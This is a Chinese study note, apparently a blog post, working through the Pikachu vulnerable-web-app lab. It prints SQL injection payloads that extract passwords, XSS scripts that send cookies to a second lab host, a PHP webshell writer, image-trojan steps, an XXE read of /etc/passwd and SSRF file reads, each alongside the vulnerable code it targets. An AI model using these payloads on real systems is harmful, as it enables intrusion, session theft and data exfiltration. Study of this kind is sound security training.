pikachu靶场学习2
文章目录
SQL注入
正常输入:1 select email from users where id= 1;
非法输入:1or1=1 select email from users where id= 1 or 1=1;
-
注入点:数字型
user_id=$id
字符型
user_id= '$id'
搜索型
text LIKE '%{$_GET['search']}%'"
数字型测试:
$id=$_POST['id']
select 字段1,字段2 from 表名where id = 1 or 1=1;
字符型测试:
$uname=$_GET['username']
select 字段1,字段2 from 表名 where username='$uname';
(字符串要用单引号或者双引号做处理,不然会报错,若从前端可以看出来存进去的是一个字符串,那么可以猜想到后端拼接sql的时候肯定用了单引号做处理)
可以这样拼接 'uname' or 1=1#';
搜索型:
select * from member where username like '%xxx%' ;
我们可以:xxx%' or 1=1#
a' union select database(),user()#
- 在mysql中,自带的Information_schema表里存放了大量重要信息。如果存在注入点,可以尝试对该数据库进行访问,比如SCHEMATA提供了mysql实例中所有数据库的信息,TABLES表详细表述了某个表属于哪个schema,表类型表引擎创建时间等,COLUMNS表提供了表中列信息,show columns from schemaname.tablename结果取之此表。
常用报错函数:
updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
-
语法:
UPDATEXML(xml_document.XPathstring,new_value)
参数:fiedname是string格式,为表中字段名。
参数:XPathstring(XPath格式的字符串)
参数:new_value,string格式,替换查找到的符合条件的。
Xpath定位必须是有效的,否则会发声错误。
基于updatexml的报错:xxx' and updatexml(1,version(),0)#
xxx' and updatexml (1,concat(0x7e,versio) ),0)#
(0x7e是特殊符号~的十六进制表达式,也可使用其他符号的十六进制,目的是为了避免我们的信息不被报错内容吃掉,拼接成完整的信息显示出来。)
- 发现只能一次显示一行发现报错(获取表名)
xxx' and updatexml (1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#
- 获取列名:
xxx' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='user' limit 0,1)),0)#
- 获取数据:
xxx' and updatexml(1,concat(0x7e,(select password from users where username= 'admin' limit 0,1)),0)#
基于insert下的报错:
- xxx' or updatexml(1,concat(0x7e,database()),0) or '
基于delete下的报错:
- 1 or updatexml(1,concat(0x7e,database()),0)
extractvalue():函数也是MYSQL对XML文档数据进行查询的XPATH函数,可以从目标XML中返回包含所查询值的字符串。
语法:ExtractValue(xml_document,xpath_string)
参数:XML_document是string格式,为XML文档对象的名称,中文为Doc
参数:XPath_string(Xpath格式的字符串)
Xpath定位必须是有效的,否则会发声错误;
xxx' and extractvalue(0,concat(0x7e,version( ) ) )#
floor():MYSQL中用来取整的函数。
xxx' and (select 2 from (select count(*),concat(version( ),floor(rand(0) * 2))x from information_schema.tables group by x)a)#
xxx' and (select 2 from (select count(*),concat((select password from users where username= 'admin' limit 0,1),floor(rand(0) * 2))x from information_schema.tables group by x)a)#
- 基于boolean的盲注:
xxx' and ascii(substr ((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=112#
- 基于time的盲注:
xxx' and if((substr(darabase(),1,1))= ' p ',sleep(5),null)#
cookie的窃取和利用(get型)
-
方法一:只用pikachu进行实验:cookie.php文件中有重定向到pikachu首页的url,但是如果那个不行的话可能是pikachu源文件位置的问题(默认会多一个/pikachu/),可以直接去首页取url(
<script> document.location = 'http://192.168.1.4/pikachu/pikachu/vul/burteforce/bf_form.php?cookie=' + document.cookie; </script>
),但直接修改url的ip(<script>document.location = 'http://192.168.1.4/pikachu/index.php?cookie=' +document.cookie;</script>
)得到的url好像会出错? -
方法二:配置第二个ip模拟攻击机与被攻击的主机(此方法对于操作cookie窃取流程体验感较高,但是在一块网卡上配置两个IP地址,配置和运行原理较复杂,若没理解可能导致电脑无法访问互联网)。
成功代码(重定向的页面或发送cookie的xss后台不同而已):
- <script>document.location = 'http://192.168.1.5/pikachu/pkxss/xcookie/cookie.php?cookie=' +document.cookie; </script>
- <script> document.location = 'http://192.168.1.4/pikachu/pikachu/vul/burteforce/bf_form.php?cookie=' + document.cookie; </script>
- <script>document.location = 'http://192.168.1.4/pikachu/index.php?cookie=' +document.cookie;</script>
os远程控制
一句话木马:
- 前提:
1.需要知道远程目录(需要了解后端目录结构才能找到访问路径)
2.需要远程目录有写权限
3.需要数据库开启了secure_ file_ priv
mysql新版本的特性,默认正常情况下是关闭的,我们需要将其打开才能使用into outfile将select的结果select 1,2 into outfile “/var/www/html/1.txt”
写入指定文件,然后访问获取。
图片马:
- 抓包伪造头部GIF89A
- 使用命令:copy /b test.png + muma.php/a new.png(在读取该图片的十六进制结束之后,后面会加上写入的恶意代码。)
- 使用GIMP(开源的图片修改软件),通过增加备注,写入执行命令。
利用: 可以结合本地文件包含漏洞(图片路径正确很重要,可以通过暴力破解等手段确认图片上传点在哪)。
文件包含漏洞
- 前提:如果使用的include和require,则需要php.ini配置如下(php5.4.34)
allow_url_fopen = on//默认打开
Allow_url_include = on//默认关闭
<?php
/*
*Created by runner.han
*There is nothing new under the sun
*/
$myfile = fopen("yijuhua.php","w");
$txt = '<?php system($_GET [ x ] );?>';
fwrite($myfile,$txt);
fclose($myfile);
?>
不安全文件上传漏洞
当浏览器对一个文件进行识别的时候,它会给这个文件定义一个类型,同时把这个类型放字段content-type里面,区分读取资源的媒体类型的不同,使浏览器决定什么内容用什么形式来显示。
通过使用PHP的全局数组$_FILES,可以从客户计算机向远程服务器上传文件。
第一个参数是表单的input name,第二个下标可以是"name",“type”,“size”,“tmp_name"或"error”。
- getimagesize():对目标文件的十六进制进行读取,读取十六进制内容里面的头几个字符串,固定的图片文件十六进制的头几个字符串基本上一样。
RCE(remote command/code execute)
一般是因为给前端用户提供了可操作类的API接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
exec "ping"
if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
$ip=$_POST['ipaddress'];//并未判断输入是否为IP地址
// $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255
if(stristr(php_uname('s'), 'windows')){
// var_dump(php_uname('s'));
$result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
}else {
$result.=shell_exec('ping -c 4 '.$ip);
}
}
exec "evel"
$html='';
if(isset($_POST['submit']) && $_POST['txt'] != null){
if(@!eval($_POST['txt'])){
//直接拼接语句,且用了eval这种比较危险的函数处理输入数据,造成的远程代码执行漏洞
$html.="<p>你喜欢的字符还挺奇怪的!</p>";
}
}
越权漏洞(权限校验逻辑漏洞)
往往发生在有登录态的页面(需要有相关权限才能访问的页面)。由于每个应用系统其用户对应的权限是根据其业务功能划分的,而每个企业的业务又都是不一样的,因此越权漏洞很难通过扫描工具发现出来,往往需要手动进行测试。
水平越权:
if(isset($_GET['submit']) && $_GET['username']!=null){
//没有使用session来校验,而是使用的传进来的值,权限校验出现问题,这里应该跟登录态关系进行绑定
//应该将用户信息与当前登录态的用户信息进行对比
$username=escape($link, $_GET['username']);
$query="select * from member where username='$username'";
$result=execute($link, $query);
if(mysqli_num_rows($result)==1){
$data=mysqli_fetch_assoc($result);
$uname=$data['username'];
$sex=$data['sex'];
$phonenum=$data['phonenum'];
$add=$data['address'];
$email=$data['email'];
$_GET来获取用户名,并对其对应信息进行查询然后返回到前端。
在这样一个带登录态的页面,代码并没有判断数据所对应的用户,没有限制当前登录的人只能查看自己的信息,或者在判断数据的用户时是通过从用户表单参数中获取username来实现的,我们可以修改username来实现水平越权。
垂直越权
$link=connect();
// 判断是否登录,没有登录不能访问
//这里只是验证了登录状态,并没有验证级别,所以存在越权问题。
if(!check_op2_login($link)){
header("location:op2_login.php");
exit();
//查看check_op2_login如何验证登录态
function check_op2_login($link){
if(isset($_SESSION['op2']['username']) && isset($_SESSION['op2']['password'])){
//通过$_SESSION取到对应的用户名和密码,只判断了当前用户是否登录,并未验证用户身份等级
$query="select * from users where username='{$_SESSION['op2']['username']}' and sha1(password)='{$_SESSION['op2']['password']}'";
$result=execute($link,$query);
if(mysqli_num_rows($result)==1){
return true;
}else{
return false;
}
}else{
return false;
}
}
防范措施: 在与服务器进行数据交互时客户端携带着标识用户的身份的cookie,当服务端的session与cookie中的身份匹配成功后,才能允许该用户进行相关操作。
PHP反序列化漏洞
class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值
常见的几个[魔法函数](https://blog.csdn.net/inqihoo/article/details/9235103):
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用
漏洞举例:
class S{
//定义了一个类
var $test = "pikachu";//类里面定义了一个变量
function __destruct(){
//使用了魔法方法,当对象被销毁时,下面这一行会被自动执行
echo $this->test;
}
}
$s = $_GET['test'];//后台定义了一个接口,会通过GET请求获取数据
@$unser = unserialize($a);
//将前端传入的数据(恶意序列化代码)进行反序列化,这时会对对象进行创建然后销毁的过程
//销毁的时候会执行__destruct(),也就是说会把变量值echo到前端,通过反序列化的这个接口JS代码在前端被执行了
payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
XXE(XML外部实体攻击)
XXE —“xml external entity injection”
<!--第一部分: XML声明-- >
<?xml version="1.0"?>
<!--第二部分:文档类型定义DTID- >
<!DOCTYPE note[ <!--定义此文档是 note类型的文档-->
<!ENTITY entity - name SYSTEM "URL/URL"> <!- 外部实体声 明-->
]]>
<1--第三部分:文档元>
<note>
<to>Dave</to>
<from> Tom</from>
<head> Reminder </head>
<body>You are a good man</body>
</note>
DTD:Document Type Definition即文档类型定义,用来为XML文档定义语义约束。
1.DTD内部声明
<!DOCTYPE 根元素[元素声明]>
2. DTD外部引用
<!DOCTYPE根元素名称SYSTEM “"外部DTD的URI" >
3.引用公共DTD
<!DOCTYPE根元素名称PUBLIC "DTD标识名” “公用DTD的URI” >
外部实体引用payload:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file://etc/passwd"> //约束里面定义了一个外部实体(均以!ENTITY开头)
//然后用SYSTEM关键字来指定外部实体
//用file协议读取一个文件,内容赋值给f
]>
<name>&f;</name>//&+变量名称放在标签里,后面可以通过读标签下的f来读取到文件内容
外部引用支持多种协议,如果一个接口支持接收xml数据,且未对xml数据做安全措施就可能导致xxe漏洞。
simplexml_load_string()函数: 把格式正确的xml文档通过参数传给它,它可以把xml文档解析成一个PHP里面的对象,后面可对该对象里面内容进行读取来获取xml里面定义的一些配置的数据。漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致攻击者可以构造恶意XML。
在PHP里面解析xml用的是libxml,其在>=2.9.0的版本中,默认时禁止解析xml外部实体内容的。
//考虑到目前很多版本里面libxml的版本都>=2.9.0了,所以这里添加了LIBXML_NOENT参数开启了外部实体解析
if(isset($_POST['submit']) and $_POST['xml'] != null){
$xml =$_POST['xml'];
// $xml = $test;
$data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
if($data){
$html.="<pre>{$data}</pre>";
}else{
$html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
}
}
SSRF
SSRF—Server-Side Request Forgery:服务器端请求伪造
数据流:攻击者----->服务器---->目标地址
PHP中下面函数的使用不当会导致SSRF:
//可以通过网络协议去远程访问目标服务器上资源,对资源进行处理
file_get_contents()
fsockopen()
curl_exec()
if(isset($_GET['url']) && $_GET['url'] != null){
//接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
$URL = $_GET['url'];
$CH = curl_init($URL);//做了一个初始化
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
$RES = curl_exec($CH);//请求$URL数据
curl_close($CH) ;
//ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
echo $RES;//将请求的数据返回到前端
}
这使得我们可以通过该漏洞对同一内网的服务器进行扫描探测,获取内网资源。
//读取PHP文件的源码:php://filter/read=convert.base64-encode/resource=ssrf.php
//内网请求:http://x.x.x.x/xx.index
if(isset($_GET['file']) && $_GET['file'] !=null){
$filename = $_GET['file'];
$str = file_get_contents($filename);
echo $str;
}
不得不说gitmind脑图真的好看!!!
过段时间登录时发现页面乱码问题,一开始以为是wamp和phpstudy的localhost默认端口冲突影响,更改后发现还是乱码,改了下注册表就好啦(不知道为啥~)